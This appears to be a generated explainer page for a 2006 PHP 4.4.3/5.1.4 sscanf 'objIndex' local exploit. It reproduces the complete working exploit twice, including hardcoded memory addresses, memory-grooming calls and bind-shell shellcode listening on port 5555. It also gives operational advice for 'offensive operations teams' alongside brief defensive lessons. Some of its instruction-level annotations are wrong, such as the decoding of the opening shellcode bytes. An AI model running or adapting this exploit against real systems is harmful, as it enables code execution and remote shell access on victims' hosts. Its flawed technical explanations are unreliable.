PHP objIndex Local Buffer Overflow Explained

PHP objIndex Local Buffer Overflow Explained
What this paper is
This paper details a local buffer overflow vulnerability in PHP versions 4.4.3 and 5.1.4, specifically within the ext/standard/scanf.c file. The vulnerability arises from how the sscanf function handles format arguments, particularly when argument swapping and extra arguments are provided. This allows an attacker to overwrite critical memory structures, leading to arbitrary code execution.
Simple technical breakdown
The core of the vulnerability lies in the sscanf function's internal handling of arguments. When sscanf is used with a format string that swaps argument positions (e.g., $1s) and provides more arguments than expected by the format string, it can read past the end of its internal argument array.
The exploit leverages this by:
- Overwriting internal memory: It first fills PHP's internal cached memory with a pointer to a writable segment.
- Controlled memory freeing: By unsetting a variable, this memory is freed but not zeroed out, leaving a stale pointer.
- Manipulating
sscanf: The exploit then crafts a specialzvalstructure (PHP's internal data structure) of type "object" containing shellcode. - Double dereference: Through a series of
sscanfcalls and memory manipulations, the exploit trickssscanfinto performing a double dereference on this craftedzvalstructure. - Code execution: This double dereference leads to the execution of code within the crafted
zvalstructure, effectively running the embedded shellcode.
Complete code and payload walkthrough
Let's break down the provided PHP exploit code and its payload.
<?php
/*
Author: Heintz
Date: 4-th august 2006
Greets:
Waraxe from www.waraxe.us
All buds at www.plain-text.info
Torufoorum
ext/standard/scanf.c line ~887
---
if (numVars) {
current = args[objIndex++];
---
objIndex points past the end of array in other format cases too
when php-s sscanf-s format argument contains argument swap
and extra arguments are given like.
sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to
zval structure past the end of argument array by one.
This exploit first fills php internally cached memory with address of pointer
to writable segment. Then by unsetting the variable it frees memory, but does not
zero it, so this way we pass our own pointers to sscanf.
Now sscanf allocated array has valid element one past the array,
sscanf tries to call a function to destruct zval structure.
if its 15-th byte isnt anything valid it will default to doing nothing
and will continue without errors and returns;
sscanf now sets the structure to be of type string and writes
pointer to string (it matched from our first argument to sscanf) and strings
length to a structure-s value union. the strings address is written to first 4 bytes
of structure.
knowing this we construct our own binary zval structure of type object. + shellcode + space
to match format. So now we have successfully called sscanf for the first time
and we got something like ptrptr->ptr->zval-of-type-string in memory
zval-of-type-string first 4 bytes point to our object we passed as argument.
so now we fill the internal cached memory with just pointer to zval. and free it.
when sscanf reads the pointer this time it now moves upwards one level but still
dereferences twice. thus acts upon our zval structure of type object.
when the destructor function now sees the zval is an object it will read
a pointer from our structure to another structure which supposed to contain function
pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long
thus address pointed to by structures offset 4 is called.
when we give it our ptr-to-zval - 4
it will add 4 bytes to it and dereference it an call whatever is there. and
there is address to our constructed zval object so we are executing code
from the beginning of our structure. eip-hop-over will help us through
unwanted bytes and we are on our way executing our shellcode.
*/This is the explanatory comment block. It provides a high-level overview of the vulnerability and the exploit's logic, as described in the "Simple technical breakdown" section. It mentions the objIndex variable in scanf.c and how argument swapping with extra arguments leads to reading past the array bounds. It also details the strategy of overwriting memory, controlling freed memory, crafting a zval object, and leveraging double dereferencing for code execution.
// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4
// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";
$ptr_to_zval = "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over = "\x90\x90\x90\xB8";$ptr_to_ptr_to_zval: This variable holds a memory address that points to another memory address, which in turn points to azvalstructure. This is crucial for the double dereference. The specific address is platform and build dependent. The commented-out lines show Windows x64 addresses, while the active ones are for Linux x86 (32-bit).$ptr_to_zval: This variable holds a memory address that points directly to azvalstructure.$ptr_to_obj_handlers: This variable holds a memory address that points to the object handler table within azvalstructure. The comment indicates it's$ptr_to_zval - 4, suggesting it's an offset within thezvalstructure itself, likely pointing to the function pointer table for object destruction.$eip_hop_over: This is a small sequence of assembly instructions:NOP(No Operation) three times, followed byMOV EAX, <value>. TheNOPs are used to pad and align the code. TheMOV EAXinstruction is typically used to load a value into theEAXregister. In this context, it's used to load a value that helps control the execution flow, specifically to "hop over" unwanted bytes and position the instruction pointer (EIP) correctly for shellcode execution. The<value>part is dynamically constructed later.
# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";$shellcode: This is the actual payload, a sequence of bytes representing machine code. The comment indicates it's a Linux IA-32 (32-bit x86) bind shell.\x29\xc9:XOR ECX, ECX- Clears the ECX register.\x83\xe9\xeb:SUB ECX, 0xEB- Subtracts 0xEB from ECX. This is part of shellcode obfuscation/decoding or a jump.\xd9\xee:FNINIT- Initializes the floating-point unit. Often used as a NOP or part of shellcode setup.\xd9\x74\x24\xf4:FNSTENV [ESP-0xC]- Stores the FPU environment. This is a common technique in shellcode to get a pointer to the current instruction and then calculate offsets.\x5b:POP EBX- Pops the value from the stack into EBX.- The remaining bytes are a complex sequence that decodes and executes the bind shell. The goal is to set up a socket, bind it to a port (likely 5555 as per the comment), and listen for incoming connections, providing a shell on the target. The specific instructions are highly optimized and obfuscated for size and evasion.
if(bin2hex(pack('S',0x0010))!="0010")
{ // small endian conversion
$t = $ptr_to_ptr_to_zval;
$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};
$t = $ptr_to_zval;
$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};
$t = $ptr_to_obj_handlers;
$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};
}pack('S', 0x0010): This packs the short integer0x0010into binary data.bin2hex(...): Converts the binary data to its hexadecimal string representation.if(...) != "0010": This condition checks if the system is little-endian. On little-endian systems,0x0010will be represented as1000in hex (byte order reversed). If the output is not0010, it means the system is little-endian.// small endian conversion: If the system is little-endian, the hardcoded addresses (which are likely big-endian or in a specific byte order) need to be reversed to match the system's byte order.$t = $var; $var = $t{3}.$t{2}.$t{1}.$t{0};: This is a common PHP idiom to reverse the byte order of a 4-byte string (representing an address). It takes the 4th byte, then the 3rd, then the 2nd, then the 1st, effectively reversing the endianness. This is applied to$ptr_to_ptr_to_zval,$ptr_to_zval, and$ptr_to_obj_handlers.
$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.
"\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";$object_zval: This constructs thezvalstructure that the exploit will use.$eip_hop_over: The\x90\x90\x90\xB8sequence.$ptr_to_obj_handlers: The address pointing to the object handlers. This is placed wheresscanfexpects a pointer to a string's data.$eip_hop_over: Another\x90\x90\x90\xB8sequence. This is part of the trick to control EIP."\x05\x01\x90\x90": This is a critical part.\x05\x01: This likely represents a value that, when combined with theMOV EAXfrom$eip_hop_over, forms a target address. It's part of the mechanism to jump to the shellcode.\x90\x90: Two NOPs for padding.
$shellcode: The actual shellcode is embedded here."\xC3\x90\x90\x20":\xC3:RETinstruction. This is the return from the function call thatsscanftriggers.\x90\x90: Two NOPs for padding.\x20: A space character, likely for padding or to satisfy some parsing requirement.
The overall structure of $object_zval is designed to mimic a zval structure of type object. When sscanf processes this, it will interpret the first 4 bytes as the string data pointer, the next 4 bytes as the string length, and then it will attempt to "destruct" this zval. Because it's crafted to look like an object, it will try to call a handler function. The exploit manipulates the addresses so that this handler call effectively jumps to the shellcode. The eip_hop_over parts are crucial for aligning the execution flow to jump into the shellcode after the initial MOV EAX and other setup.
$str = str_repeat($ptr_to_ptr_to_zval,20);
unset($str);
sscanf(
$object_zval,
'%1$s',
$str);$str = str_repeat($ptr_to_ptr_to_zval,20);: This creates a long string by repeating the$ptr_to_ptr_to_zvaladdress 20 times. This is used to fill PHP's internal cache with pointers to the target address.unset($str);: This frees the memory allocated for$str. Crucially, PHP's memory manager might not zero out the freed memory, leaving a stale pointer. This is the "controlled memory freeing" step mentioned in the explanation.sscanf($object_zval, '%1$s', $str);: This is the firstsscanfcall.$object_zval: The craftedzvalstructure containing the shellcode and handler pointers.'%1$s': The format string.%1$smeans "take the first argument ($object_zval) and interpret it as a string".$str: This variable is passed by reference.sscanfwill attempt to write the parsed string into$str. However, due to the vulnerability, it will instead perform the double dereference on$object_zval. The initialsscanfcall, with the crafted$object_zval, is designed to set up the memory state for the nextsscanfcall. The comment suggests this first call results inptrptr->ptr->zval-of-type-stringin memory, where thezval-of-type-string's first 4 bytes point to the crafted$object_zval.
putenv("PHP_foo=".str_repeat($ptr_to_zval,64));
putenv("PHP_foo=");putenv("PHP_foo=".str_repeat($ptr_to_zval,64));: This sets an environment variablePHP_footo a string composed of the$ptr_to_zvaladdress repeated 64 times. This is another way to populate PHP's internal memory caches with specific pointers.putenv("PHP_foo=");: This then unsets or clears thePHP_fooenvironment variable. Similar tounset($str), this frees memory and potentially leaves a stale pointer, which is then used by the subsequentsscanfcall. This step is crucial for setting up the pointer that will be dereferenced twice by the secondsscanfcall.
sscanf(
"a ",
'%1$s',
$str);
?>sscanf("a ", '%1$s', $str);: This is the second, criticalsscanfcall."a ": A simple string. This is the input tosscanf.'%1$s': The format string. It tellssscanfto take the first argument ("a ") and interpret it as a string.$str: This variable is again passed by reference. Because of the prior memory manipulation (theunset($str)and theputenvcalls), whensscanftries to read past the end of its argument array, it will now encounter the stale pointer created byputenv("PHP_foo=");. This stale pointer, when dereferenced twice, points to the crafted$object_zval.- The
sscanffunction, when processing the crafted$object_zvalas a string, will attempt to "destruct" it. Since it's crafted to look like an object, it will look for object handlers. The exploit has placed$ptr_to_obj_handlersat an offset within$object_zval, which points to a structure containing function pointers. The second element of this structure (at offset 4) is then called. By carefully crafting$object_zvaland using$ptr_to_zval - 4, the exploit ensures this call lands on the shellcode embedded within$object_zval. Theeip_hop_oversequence helps align the execution flow to jump into the shellcode.
# milw0rm.com [2006-08-08]
------ This is a standard footer indicating the source of the exploit (milw0rm.com) and the publication date.
Mapping list:
- Comment block: Explains the vulnerability and exploit logic.
$ptr_to_ptr_to_zval,$ptr_to_zval,$ptr_to_obj_handlers: Hardcoded memory addresses (platform-dependent) used to controlzvalstructures and function pointers.$eip_hop_over: AssemblyNOPs andMOV EAXto control instruction pointer flow.$shellcode: The actual machine code payload (Linux IA-32 bind shell).- Endianness check and conversion: Ensures addresses are correctly formatted for the target system.
$object_zvalconstruction: Creates the maliciouszvalstructure containing shellcode and exploit-specific pointers.$str = str_repeat(...): Populates memory with pointers to the target address.unset($str): Frees memory, leaving a stale pointer.- First
sscanf($object_zval, '%1$s', $str): Sets up the memory state for the double dereference by writing a pointer to the crafted$object_zvalinto a stringzval. putenv(...)calls: Further manipulates memory caches with pointers, preparing for the final dereference.- Second
sscanf("a ", '%1$s', $str): Triggers the double dereference using the prepared stale pointer, leading to the execution of the shellcode.
Practical details for offensive operations teams
- Required Access Level: Local access to the target system is required. This exploit targets a vulnerability in the PHP interpreter itself, not a network service.
- Lab Preconditions:
- A vulnerable PHP installation (4.4.3 or 5.1.4) running on the target OS.
- The exploit script needs to be executed within a PHP environment (e.g., via
php exploit.phpon the command line, or by uploading it as a.phpfile to a web server and accessing it via a browser, though command-line execution is more direct for local exploits). - The hardcoded addresses (
$ptr_to_ptr_to_zval,$ptr_to_zval,$ptr_to_obj_handlers) must be accurate for the specific PHP version, OS, and architecture. This is the most critical prerequisite. If these are wrong, the exploit will likely crash the PHP interpreter or fail silently.
- Tooling Assumptions:
- A PHP interpreter capable of running the exploit script.
- A way to execute the PHP script on the target (e.g., SSH access, local terminal access, or a web server with PHP execution capabilities).
- A debugger or memory analysis tool (like GDB for Linux, WinDbg for Windows) would be invaluable for determining the correct addresses if they are not known.
- Execution Pitfalls:
- Address Mismatch: The most common failure point. The hardcoded addresses are highly specific. If the target system's PHP build differs even slightly (e.g., different compiler flags, different libraries, different OS patch level), the addresses will be wrong.
- ASLR/DEP: While this exploit predates widespread ASLR and DEP on many systems, if they are enabled and configured to affect the PHP interpreter or its loaded modules, it could complicate or prevent reliable exploitation. However, the exploit targets internal PHP structures, so it might bypass some forms of ASLR if the base addresses are predictable.
- PHP Configuration: Certain PHP configurations or security extensions might interfere with memory manipulation or execution.
- Shellcode Compatibility: The provided shellcode is for Linux IA-32. It will not work on other architectures (x64, ARM) or operating systems (Windows). A different shellcode would be required.
- Race Conditions: In a web server context, if multiple requests are processed concurrently, there's a potential for race conditions where other requests might interfere with the memory state the exploit is trying to manipulate. Command-line execution is generally more predictable.
- Crash vs. Exploit: If the addresses are slightly off, or if the memory layout is unexpected, the most likely outcome is a PHP interpreter crash (segmentation fault) rather than successful shellcode execution.
Where this was used and when
- Context: This vulnerability was likely used in targeted attacks against systems running specific, older versions of PHP. Given it's a local privilege escalation or code execution exploit, it would be a post-exploitation step after gaining initial access to a system.
- When: The exploit was published in August 2006. Therefore, its practical use would have been around that time and in the years immediately following, before systems were patched to versions of PHP that fixed this vulnerability. It's highly unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Patch Management: This is the most obvious lesson. Keeping software, especially interpreters and libraries like PHP, up-to-date is paramount. Vulnerabilities like this are fixed in newer versions.
- Input Validation and Sanitization: While
sscanfis a powerful parsing function, its misuse with complex format strings and argument manipulation can lead to vulnerabilities. Developers should be cautious when using such functions and thoroughly validate inputs. - Memory Safety: Buffer overflows and memory corruption vulnerabilities are a persistent threat. Secure coding practices, using memory-safe languages or constructs where possible, and rigorous code review are essential.
- Understanding Internal Structures: Exploits that target internal data structures (like PHP's
zval) highlight the importance of understanding how software components work internally. Defensive teams can use this knowledge to anticipate potential attack vectors. - Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP): Modern operating systems employ these defenses to make exploitation harder. While this exploit predates their widespread effectiveness, they are critical layers of defense against memory corruption vulnerabilities.
- Least Privilege: If PHP processes run with the minimum necessary privileges, the impact of a successful exploit is significantly reduced.
ASCII visual (if applicable)
This exploit involves complex memory manipulation and function pointer redirection within the PHP interpreter's memory space. A simple ASCII diagram can illustrate the core concept of the double dereference leading to code execution.
+--------------------+ +--------------------+ +--------------------+
| Attacker's Input | --> | PHP Interpreter | --> | Malicious zval |
| (Crafted String) | | (sscanf function) | | (Object Type) |
+--------------------+ +--------+-----------+ +---------+----------+
| |
| (Argument Swap & | (Object Handler
| Out-of-Bounds Read) | Table Pointer)
| |
v v
+-------+----------+ +------+-----------------+
| Stale Pointer in | --> | Function Pointer |
| Memory (from | | (2nd element) |
| unset/putenv) | +--------------------+
+------------------+ |
| (Call)
v
+-----------------+
| Shellcode |
| (Code Execution)|
+-----------------+Explanation of the diagram:
- The attacker provides crafted input to the
sscanffunction. - Due to the vulnerability (argument swapping with extra arguments),
sscanfreads past its allocated argument array. - This out-of-bounds read accesses a "stale pointer" in memory, which was deliberately left there by the exploit (via
unsetorputenv). - This stale pointer, when dereferenced twice by
sscanf's internal logic, points to a specially craftedzvalstructure that the attacker created. - This crafted
zvalis made to look like an "object" type. Whensscanfattempts to "destruct" it, it looks for object handler functions. - The exploit places a pointer to a function pointer table within this
zval. The second element of this table (at offset 4) is manipulated to point to the attacker's shellcode. - The interpreter then calls this function pointer, executing the shellcode.
Source references
- Exploit-DB Paper ID: 2152
- Paper Title: PHP 4.4.3/5.1.4 - 'objIndex' Local Buffer Overflow
- Author: Heintz
- Published: 2006-08-08
- Keywords: PHP, local
- Paper URL: https://www.exploit-db.com/papers/2152
- Raw Exploit URL: https://www.exploit-db.com/raw/2152
Original Exploit-DB Content (Verbatim)
<?php
/*
Author: Heintz
Date: 4-th august 2006
Greets:
Waraxe from www.waraxe.us
All buds at www.plain-text.info
Torufoorum
ext/standard/scanf.c line ~887
---
if (numVars) {
current = args[objIndex++];
---
objIndex points past the end of array in other format cases too
when php-s sscanf-s format argument contains argument swap
and extra arguments are given like.
sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to
zval structure past the end of argument array by one.
This exploit first fills php internally cached memory with address of pointer
to writable segment. Then by unsetting the variable it frees memory, but does not
zero it, so this way we pass our own pointers to sscanf.
Now sscanf allocated array has valid element one past the array,
sscanf tries to call a function to destruct zval structure.
if its 15-th byte isnt anything valid it will default to doing nothing
and will continue without errors and returns;
sscanf now sets the structure to be of type string and writes
pointer to string (it matched from our first argument to sscanf) and strings
length to a structure-s value union. the strings address is written to first 4 bytes
of structure.
knowing this we construct our own binary zval structure of type object. + shellcode + space
to match format. So now we have successfully called sscanf for the first time
and we got something like ptrptr->ptr->zval-of-type-string in memory
zval-of-type-string first 4 bytes point to our object we passed as argument.
so now we fill the internal cached memory with just pointer to zval. and free it.
when sscanf reads the pointer this time it now moves upwards one level but still
dereferences twice. thus acts upon our zval structure of type object.
when the destructor function now sees the zval is an object it will read
a pointer from our structure to another structure which supposed to contain function
pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long
thus address pointed to by structures offset 4 is called.
when we give it our ptr-to-zval - 4
it will add 4 bytes to it and dereference it an call whatever is there. and
there is address to our constructed zval object so we are executing code
from the beginning of our structure. eip-hop-over will help us through
unwanted bytes and we are on our way executing our shellcode.
*/
// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4
// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";
$ptr_to_zval = "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over = "\x90\x90\x90\xB8";
# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";
if(bin2hex(pack('S',0x0010))!="0010")
{ // small endian conversion
$t = $ptr_to_ptr_to_zval;
$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};
$t = $ptr_to_zval;
$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};
$t = $ptr_to_obj_handlers;
$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};
}
$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.
"\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";
$str = str_repeat($ptr_to_ptr_to_zval,20);
unset($str);
sscanf(
$object_zval,
'%1$s',
$str);
putenv("PHP_foo=".str_repeat($ptr_to_zval,64));
putenv("PHP_foo=");
sscanf(
"a ",
'%1$s',
$str);
?>
# milw0rm.com [2006-08-08]